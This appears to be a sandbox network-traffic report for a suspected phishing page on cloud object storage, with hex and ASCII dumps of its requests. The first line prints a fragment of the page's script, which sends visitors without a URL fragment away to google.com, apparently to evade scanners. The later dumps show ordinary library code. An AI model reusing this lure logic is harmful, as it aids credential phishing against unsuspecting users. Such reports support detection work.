2e 73 75 62 73 74 72 69 6e 67 Data Ascii: <script> var main_link = "https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html"; if (!window.location.hash) { location.href = "https://google.com"; } var fragment = window.location.hash.substring

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	104.18.94.41	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:44 UTC	595	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:44 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 14 Aug 2024 02:14:44 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/cc21665cd7b9/api.js Server: cloudflare CF-RAY: 8b2d6edf3b507c93-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	104.17.25.14	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:44 UTC	613	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:44 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 461478 Expires: Mon, 04 Aug 2025 02:14:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2F9Jy5VkcHBQ%2BDz5KUM1tzgb7WZsKBCHBiVkJPmmzMVENz8gKE9vYNCkRxb8gNpLg%2B9HcaAd3YYS9RbCmcOo8xN0GNo8dNWv6jTkbXzZ1hFhyMJJUTuI5rlKOP2z1Owsyvnev9jW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8b2d6edf695ec330-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:44 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 Data Ascii: ;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:functi
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 Data Ascii: )),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProces
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 Data Ascii: =i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b Data Ascii: [4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 Data Ascii: %42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42949672
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d Data Ascii: S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f Data Ascii: e.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o
2024-08-14 02:14:44 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 Data Ascii: nction(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5)))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	104.18.94.41	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:44 UTC	610	OUT	GET /turnstile/v0/b/cc21665cd7b9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:45 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:45 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 45035 Connection: close accept-ranges: bytes last-modified: Fri, 09 Aug 2024 15:21:28 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8b2d6ee34b2942d8-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:45 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 53 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 5f 3d 65 5b 75 5d 28 67 29 2c 70 3d 5f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 61 28 66 29 3b 72 65 74 75 72 6e 7d 5f 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);funct
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 65 2c 72 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 24 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-14 02:14:45 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
